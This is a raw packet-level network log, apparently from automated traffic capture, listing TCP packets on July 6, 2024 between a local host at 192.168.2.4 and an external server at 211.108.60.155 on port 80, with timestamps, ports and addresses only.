Jul 6, 2024 14:10:05.196400881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.196428061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.196549892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.196592093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.196600914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.196609020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.196629047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.196640968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.196875095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.196883917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.196892977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.196918964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.196934938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.196994066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.197030067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.197144032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.197181940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.197216988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.197258949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.197304010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.197313070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.197349072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.197467089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.197477102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.197485924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.197510004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.197519064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.197575092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.197616100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.197644949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.197685957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.197839975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.197881937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.197926044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.197935104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.197962999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.198065042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.198075056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.198084116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.198103905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.198126078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.198407888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.198417902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.198426962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.198453903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.198476076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.198718071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.198726892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.198736906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.198761940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.198775053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.199177980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199218035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.199254990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199265003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199300051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.199400902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199409962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199419022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199445009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.199453115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.199472904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199481964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199495077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199501038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.199518919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.199526072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.199604034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199646950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.199673891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199686050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199717999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.199832916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199845076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199853897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.199872017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.199894905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.200041056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.200083971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.200089931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.200098991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.200115919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.200130939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.200325012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.200334072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.200342894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.200370073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.200386047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.200512886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.200551987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.200556040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.200581074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.200647116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.200684071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.200727940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.200737000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.200771093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.200959921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.201004982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.201037884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.201046944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.201076031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.201241970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.201251984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.201261997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.201282978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.201308012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.201508045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.201519012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.201553106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.391983032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392024040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392034054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392043114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392062902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.392086029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.392115116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392144918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.392200947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392211914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392220974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392231941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.392256021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.392412901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392450094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.392499924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392508030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392517090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392529964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.392544031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.392700911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392744064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.392745972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392776966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.392841101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392848969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.392875910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.392887115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393196106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393239021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393352985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393362045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393372059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393378973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393392086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393399000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393407106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393409014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393416882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393425941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393425941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393449068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393457890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393479109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393508911 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393565893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393601894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393764019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393795013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393800020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393802881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393810987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393821001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393831015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393842936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393860102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393868923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.393896103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.393992901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394001007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394023895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.394035101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.394097090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394105911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394134045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.394149065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.394150019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394182920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394186974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.394222975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.394368887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394377947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394408941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.394489050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394524097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.394562960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394598007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.394663095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394671917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394697905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.394712925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.394721031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394730091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394757032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.394830942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.394869089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395009041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395024061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395041943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395057917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395065069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395083904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395180941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395190001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395239115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395311117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395325899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395344019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395354033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395423889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395457983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395497084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395507097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395517111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395529985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395544052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395556927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395678997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395688057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395714998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395725012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395812035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395848989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.395920038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.395953894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396074057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396106958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396116972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396116972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396136999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396151066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396217108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396255970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396279097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396290064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396311045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396337032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396442890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396502972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396524906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396533966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396553040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396569014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396666050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396676064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396701097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396708965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396718979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396727085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396743059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396765947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396883011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396915913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.396927118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.396938086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.397038937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.397079945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.397202015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.397211075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.397238970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.397291899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.397300959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.397310972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.397325993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.397337914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635137081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635164022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635175943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635200024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635219097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635220051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635231018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635242939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635252953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635277987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635277987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635309935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635364056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635374069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635394096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635407925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635468006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635499954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635505915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635515928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635535955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635548115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635689974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635725975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635730028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635740042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635756969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635771036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635776043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635799885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.635948896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635957956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635971069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.635998011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.636006117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.636020899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.636055946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.636177063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.636185884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.636194944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.636213064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.636221886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.636225939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.636229992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.636255980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.636279106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.636939049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.636955976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.636965036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.636984110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637002945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637006998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637017012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637041092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637058020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637068033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637099981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637147903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637157917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637181997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637195110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637204885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637207031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637228966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637309074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637346983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637381077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637391090 CEST	80	49732	211.108.60.155	192.168.2.4
